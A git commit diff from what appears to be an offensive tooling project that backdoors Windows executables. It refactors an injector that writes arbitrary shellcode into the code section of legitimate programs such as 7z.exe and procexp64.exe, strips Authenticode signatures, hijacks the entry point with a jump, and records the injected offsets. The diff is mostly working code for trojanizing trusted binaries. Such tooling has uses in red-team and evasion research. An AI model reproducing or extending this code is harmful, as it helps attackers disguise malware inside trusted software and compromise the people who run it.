refactor: get code from exe after backdooring

This commit is contained in:
Dobin
2024-02-18 12:20:03 +00:00
parent ef65b92b9a
commit 3969f3d882
4 changed files with 105 additions and 60 deletions
+48 -3
View File
@@ -3,9 +3,13 @@ import shutil
import pprint import pprint
import logging import logging
import time import time
import tempfile
from pehelper import * from pehelper import *
from model import * from model import *
from observer import observer
from redbackdoorer import PeBackdoor, Logger, options
logger = logging.getLogger("Injector") logger = logging.getLogger("Injector")
@@ -14,15 +18,18 @@ def inject_exe(
shellcode_in: FilePath, shellcode_in: FilePath,
exe_in: FilePath, exe_in: FilePath,
exe_out: FilePath, exe_out: FilePath,
inject_mode: int,
): ):
logger.info("--[ Injecting: {} into: {} -> {} ".format( logger.info("--[ Injecting: {} into: {} -> {} mode {}".format(
shellcode_in, exe_in, exe_out shellcode_in, exe_in, exe_out, inject_mode
)) ))
shellcode_len = len(file_readall_binary(shellcode_in))
# create copy of file exe_in to exe_out # create copy of file exe_in to exe_out
shutil.copyfile(exe_in, exe_out) shutil.copyfile(exe_in, exe_out)
# inject shellcode into exe_out with redbackdoorer if False:
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe # python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
run_process_checkret([ run_process_checkret([
"python3.exe", "python3.exe",
@@ -32,6 +39,44 @@ def inject_exe(
exe_out exe_out
]) ])
options["verbose"] = True
# copy it first...
temp = tempfile.NamedTemporaryFile(delete=False)
shutil.copy(exe_out, temp.name)
outfile = temp.name
peinj = PeBackdoor(options, Logger)
result = peinj.backdoor(
1, # always overwrite .text section
inject_mode,
shellcode_in,
exe_out,
outfile
)
if not result:
logging.error("Error: Redbackdoorer failed")
raise Exception("Redbackdoorer failed")
# and copy back
shutil.copy(outfile, exe_out)
temp.close()
os.unlink(temp.name)
print("Result: {} and 0x{:x} 0x{:x}".format(
result, peinj.shellcodeOffset, peinj.backdoorOffsetRel,
))
code = extract_code_from_exe(exe_out)
fucking_offset = peinj.backdoorOffsetRel
in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len]
jmp_code = code[fucking_offset:fucking_offset+12]
observer.add_code("backdoored_code", in_code)
observer.add_code("backdoored_jmp", jmp_code)
def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo): def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo):
"""replace IAT in shellcode in code and re-implant it""" """replace IAT in shellcode in code and re-implant it"""
+1 -1
View File
@@ -17,7 +17,7 @@ class Project():
# Injectable # Injectable
self.inject: bool = False self.inject: bool = False
self.inject_mode: str = "1,2" self.inject_mode: int = 2
self.inject_exe_in: FilePath = "" self.inject_exe_in: FilePath = ""
self.inject_exe_out: FilePath = "" self.inject_exe_out: FilePath = ""
self.exe_info: ExeInfo = None self.exe_info: ExeInfo = None
+30 -31
View File
@@ -387,6 +387,10 @@ class PeBackdoor:
self.logger = logger self.logger = logger
self.createdTlsSection = False self.createdTlsSection = False
self.shellcodeOffset = 0 # from start of the file
self.shellcodeOffsetRel = 0 # from start of the code section
self.backdoorOffsetRel = 0 # from start of the code section
def openFile(self): def openFile(self):
self.pe = pefile.PE(self.infile, fast_load=False) self.pe = pefile.PE(self.infile, fast_load=False)
self.pe.parse_data_directories() self.pe.parse_data_directories()
@@ -412,7 +416,6 @@ class PeBackdoor:
self.infile = infile self.infile = infile
self.outfile = outfile self.outfile = outfile
self.sectionName = options.get('section_name', DefaultSectionName) self.sectionName = options.get('section_name', DefaultSectionName)
self.shellcodeOffset = 0
try: try:
PeBackdoor.SupportedSaveModes(saveMode) PeBackdoor.SupportedSaveModes(saveMode)
@@ -475,6 +478,15 @@ class PeBackdoor:
self.logger.ok('PE executable Authenticode signature removed.') self.logger.ok('PE executable Authenticode signature removed.')
return True return True
def _get_code_section(self):
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
for sect in self.pe.sections:
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.SizeOfRawData:
return sect
return None
def injectShellcode(self): def injectShellcode(self):
if self.saveMode == int(PeBackdoor.SupportedSaveModes.NewPESection): if self.saveMode == int(PeBackdoor.SupportedSaveModes.NewPESection):
self.pe.write(self.outfile) self.pe.write(self.outfile)
@@ -495,53 +507,38 @@ class PeBackdoor:
elif self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection): elif self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection):
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
section = None sect = self._get_code_section()
sect_name = sect.Name.decode().rstrip('\x00')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
if sect == None:
return False
for sect in self.pe.sections: self.logger.dbg(f'Backdooring {sect_name} section.')
name = sect.Name.decode()
self.logger.dbg("Checking if section is executable: {}: 0x{:x}".format(name, sect.Characteristics))
# 0x20 = code if sect_size < len(self.shellcodeData):
# 0x20000000 = executable
if sect.Characteristics & 0x20000000 != 0:
#if sect.Characteristics & 0x20 != 0:
# make sure its really the destination section
# UPX packed files have UPX0, UPX1, where the latter has the entry point
#self.logger.dbg("--> 0x{:x} 0x{:x} 0x{:x}".format(
# entrypoint,
# sect.VirtualAddress,
# sect.VirtualAddress + sect.SizeOfRawData,
#))
if entrypoint > sect.VirtualAddress and entrypoint < sect.VirtualAddress + sect.SizeOfRawData:
section = sect
break
if section != None:
self.logger.dbg(f'Backdooring {name} section.')
if sect.Misc_VirtualSize < len(self.shellcodeData):
self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section! self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section!
Shellcode size : {len(self.shellcodeData)} Shellcode size : {len(self.shellcodeData)}
Code section size : {sect.Misc_VirtualSize} Code section size : {sect_size}
''') ''')
offset = int((sect.Misc_VirtualSize - len(self.shellcodeData)) / 2) offset = int((sect_size - len(self.shellcodeData)) / 2)
self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.') self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.')
self.pe.set_bytes_at_offset(offset, self.shellcodeData) self.pe.set_bytes_at_offset(offset, self.shellcodeData)
self.shellcodeOffset = offset self.shellcodeOffset = offset
self.shellcodeOffsetRel = offset - sect.PointerToRawData
rva = self.pe.get_rva_from_offset(offset) rva = self.pe.get_rva_from_offset(offset)
p = sect.PointerToRawData + sect.SizeOfRawData - 64 p = sect.PointerToRawData + sect.SizeOfRawData - 64
graph = textwrap.indent(f''' graph = textwrap.indent(f'''
Beginning of {name}: Beginning of {sect_name}:
{textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")} {textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
Injected shellcode in the middle of {name}: Injected shellcode in the middle of {sect_name}:
{hexdump(self.shellcodeData, offset, 64)} {hexdump(self.shellcodeData, offset, 64)}
Trailing {name} bytes: Trailing {sect_name} bytes:
{hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)} {hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)}
''', '\t') ''', '\t')
@@ -549,7 +546,6 @@ Trailing {name} bytes:
self.logger.dbg(graph) self.logger.dbg(graph)
return True return True
return False
def setupShellcodeEntryPoint(self): def setupShellcodeEntryPoint(self):
if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP): if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP):
@@ -650,7 +646,6 @@ Sources:
ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase
data = self.pe.get_memory_mapped_image()[ep:ep+128] data = self.pe.get_memory_mapped_image()[ep:ep+128]
offset = 0 offset = 0
@@ -659,6 +654,10 @@ Sources:
disasmData = self.pe.get_memory_mapped_image() disasmData = self.pe.get_memory_mapped_image()
output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction) output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
# store offset... by calculating it first FUCK
section = self._get_code_section()
self.backdoorOffsetRel = output - section.VirtualAddress
if output != 0: if output != 0:
self.logger.dbg('Now disasm looks like follows: ') self.logger.dbg('Now disasm looks like follows: ')
+6 -5
View File
@@ -51,17 +51,17 @@ def main():
if args.verify == "peb": if args.verify == "peb":
project.inject = True project.inject = True
project.inject_mode = "1,2" project.inject_mode = 2
project.inject_exe_in = "exes/7z.exe" project.inject_exe_in = "exes/7z.exe"
project.inject_exe_out = "out/7z-verify.exe" project.inject_exe_out = "out/7z-verify.exe"
elif args.verify == "iat": elif args.verify == "iat":
project.inject = True project.inject = True
project.inject_mode = "1,2" project.inject_mode = 2
project.inject_exe_in = "exes/procexp64.exe" project.inject_exe_in = "exes/procexp64.exe"
project.inject_exe_out = "out/procexp64-verify.exe" project.inject_exe_out = "out/procexp64-verify.exe"
elif args.verify == "rwx": elif args.verify == "rwx":
project.inject = True project.inject = True
project.inject_mode = "1,1" # ,2 is broken atm project.inject_mode = 1 # ,2 is broken atm
project.inject_exe_in = "exes/wifiinfoview.exe" project.inject_exe_in = "exes/wifiinfoview.exe"
project.inject_exe_out = "out/wifiinfoview.exe-verify.exe" project.inject_exe_out = "out/wifiinfoview.exe-verify.exe"
else: else:
@@ -81,7 +81,7 @@ def main():
if args.rbrunmode: if args.rbrunmode:
if args.rbrunmode == "1" or args.rbrunmode == "2" or args.rbrunmode == "3": if args.rbrunmode == "1" or args.rbrunmode == "2" or args.rbrunmode == "3":
project.inject_mode = "1," + args.rbrunmode project.inject_mode = int(args.rbrunmode)
else: else:
logging.error("Invalid mode, use one of:") logging.error("Invalid mode, use one of:")
for i in ["1", "2", "3"]: for i in ["1", "2", "3"]:
@@ -215,7 +215,8 @@ def start():
phases.injector.inject_exe( phases.injector.inject_exe(
shellcode_in = main_shc_file, shellcode_in = main_shc_file,
exe_in = project.inject_exe_in, exe_in = project.inject_exe_in,
exe_out = project.inject_exe_out exe_out = project.inject_exe_out,
inject_mode = project.inject_mode,
) )
if project.source_style == SourceStyle.iat_reuse: if project.source_style == SourceStyle.iat_reuse:
phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info) phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info)